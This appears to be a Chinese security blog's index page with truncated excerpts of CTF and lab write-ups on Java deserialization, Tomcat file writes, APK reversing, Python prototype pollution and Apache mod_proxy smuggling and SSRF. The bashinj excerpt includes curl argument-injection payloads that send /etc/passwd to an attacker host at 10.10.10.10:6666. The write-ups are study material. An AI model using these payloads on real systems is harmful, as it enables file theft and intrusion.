tabby在CTF中的使用
环境配置参考作者的环境配置
https://github.com/wh1t3p1g/tabby
https://github.com/wh1t3p1g/tabby/wiki/Tabby
想要带上jdk一起分析,需要打开这个配置
1tabby.build.isJDKProcess = true
语法可以参考
https://www.w3cschool.cn/neo4j/
https://www.jianshu.com/p/0e44cadbe194
b4bycoffee题目存在反序列化入口
12345678910111213141516@RequestMapping({"/b4by/coffee"})public Message order(@RequestBody CoffeeRequest coffee) throws IOException, ClassNotFoundException, ConfigurationException { if (coffee.Venti != null) & ...
Apk逆向分析从0到0.1
记录一次移动终端安全的作业,学习apk的逆向技术
环境准备apktool.jar:用来解包、重打包
Android Studio:调试apk
jadx-gui:反编译apk为java源码,静态
解包
1apktool.bat b crackme.apk
开启debug模式
找到 AndroidManifest.xml 文件中 application 这一行属性,并添加 android:debuggable="true"(如果已经有的话就不用了)
重打包
1apktool b /crackme -o crackme_debug.apk
生成密钥
用as自带的工具生成一个key
签名
给刚刚生成的crackme_debug.apk签名
1jarsigner -verbose -keystore C:\Users\14169\key.jks -signedjar C:\Users\14169\Desktop\crackme_debug.apk C:\Users\14169\Desktop\crackme_debug.apk key0
可以验证一下签名
1jars ...
从DesperateCat学习tomcat写文件利用方式
环境搭建附件可以从github下载,为了方便调试,本地idea新建一个web项目,把反编译的源码复制过去
本地使用一模一样的tomcat的版本9.0.56,官网下载Index of /dist/tomcat/tomcat-9/v9.0.56 (apache.org)
源码分析web.xml中有一个ExportServlet映射到了/export这个路由上
12345678<servlet> <servlet-name>ExportServlet</servlet-name> <servlet-class>org.rwctf.servlets.ExportServlet</servlet-class></servlet><servlet-mapping> <servlet-name>ExportServlet</servlet-name> <url-pattern>/export</url- ...
AliyunCTF复现
ezbean题目给了mybean,getConnect()可以触发任意connect方法,这里可以使用jmx的sink类,用来打jndi或二次反序列化
那么现在问题就在于如何触发getter,题目依赖存在fastjson,可以从JSONObject或者JSONArray的toString方法触发toJSONString,从而触发getter,
而调用toString的方法可以用BadAttribute,大致的思路就是这样
mybean放在JSONObject当中就不会走题目自定义的resolveClass,从而绕过黑名单
exp1
题目所用的fastjson版本比较高,写了自己的readObject方法,使用了自定义的SecureObjectInputStream,其中重写了resolveClass,会在里面判断autotype黑名单,所以我们这里只能用题目给的mybean来作为sink,触发jmx
由于同时fastjson自己的readObject方法最终会走到SecureObjectInputStream的resolveClass中,所以也不会触发题目的黑名单
1234567891 ...
python原型链污染总结
污染示例污染函数,类似于js中的merge
123456789101112def merge(src, dst): # Recursive merge function for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
通过__class__.__base__获取到父类属性并修改
12345678910111213141516171819202122232425262728293 ...
code-breaking 复现
bashinj源码index.cgi
1234567891011#!/bin/bashsource ./_dep/web.cgiecho_headersname=${_GET["name"]}[[ $name == "" ]] && name='Bob'curl -v http://httpbin.org/get?name=$name
虽然$name可控,但无法达成任意命令注入的效果
bash会将像curl这样的命令视为“函数”,并不具备像eval这样的动态执行的能力,也就是说我们只能控制住curl的参数。
读文件
本地监听6666,用-x来控制curl的代理服务器为我们的攻击机,外带数据
1234567name=sa -F file=@index.cgi -x 10.10.10.10:6666name=sa -F file=@/etc/passwd -x 10.10.10.10:6666name=sa -T /etc/passwd -x 10.10.10.10:6666 //-T是文件 ...
Apache HTTP Server 请求走私漏洞 CVE-2023-25690 调试分析
[toc]
Apache HTTP Server 请求走私漏洞 CVE-2023-25690漏洞描述Apache HTTP Server 版本 2.4.0 到 2.4.55 上的某些 mod_proxy 配置允许 HTTP 请求走私攻击。
启用 mod_proxy 以及特定配置的 RewriteRule 或 ProxyPassMatch 模块时,当规则与用户提供的URL的某些部分匹配时,会因为变量替换从而造成代理请求目标错误
例如以下配置
12345RewriteEngine onRewriteRule "^/here/(.*)" "http://example.com:8080/elsewhere?$1"; [P]ProxyPassReverse /here/ http://example.com:8080/
此漏洞会造成请求拆分和走私,引起权限绕过,缓存投毒等攻击
影响版本2.4.0 <= Apache HTTP Server <= 2.4.55
环境搭建操作系统使用 Ubuntu 20.04
安装依赖安装 ...
Apache mod_proxy 另一个角度的攻击手法
Apache mod_proxy 另一个角度的攻击手法[toc]
背景在跟着一篇文章复现mod_proxy的SSRF漏洞时(CVE-2021-40438),我发现一个很奇怪的点,就是在利用反向代理ssrf第一次成功后,后续想ssrf打其他的地址,发现返回的还是第一次的回显,这就让我十分疑惑,只能进入apache源码中进行调试,发现了一些蹊跷
原因概括一下就是apache在第一次反向代理的时候会把请求的hostname与port保存在内存中,类似一个缓存机制,之后如果再走反代会读取这片内存,后续也会跳过对hostname与port的赋值操作,这在正常反代中是没有问题的(因为反代的地址是conf里面写死的)
可能存在的攻击手法如果我能用反代进行ssrf(必须是当前进程第一次反代),便可以污染这片内存,控制该进程处理的后续所有反代请求的hostname与port,达成一种攻击手法
该手法有以下几个要点:
能利用反代进行ssrf,从而控制反代的地址,可以利用 CVE-2021-40438
能随时污染这片内存,我第一个想到的思路是利用某种方法把 apache 给打down,如果apache再重 ...
TSCTF java题目复现
strangecar一道rmi的题目,题目实现了一个本地类Checker,里面重写了readObject,可以命令执行
1234567891011121314151617181920public class Checker implements Serializable { int speed; String api_url; public Checker(int speed) { this.speed = speed; } private void writeObject(ObjectOutputStream out) throws IOException { out.writeObject(this.api_url); } private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { //记录日志 Syste ...
javaDeserializeLabs随便做做
lab1-basic源码如下,/basic路由中存在反序列化入口,且存在一个Calc类可以利用
12345678910111213141516171819202122232425package com.yxxx.javasec.deserialize;import java.io.ByteArrayInputStream;import java.io.InputStream;import java.io.ObjectInputStream;import org.springframework.stereotype.Controller;import org.springframework.ui.Model;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestParam;@Controllerpublic class IndexController { public IndexCont ...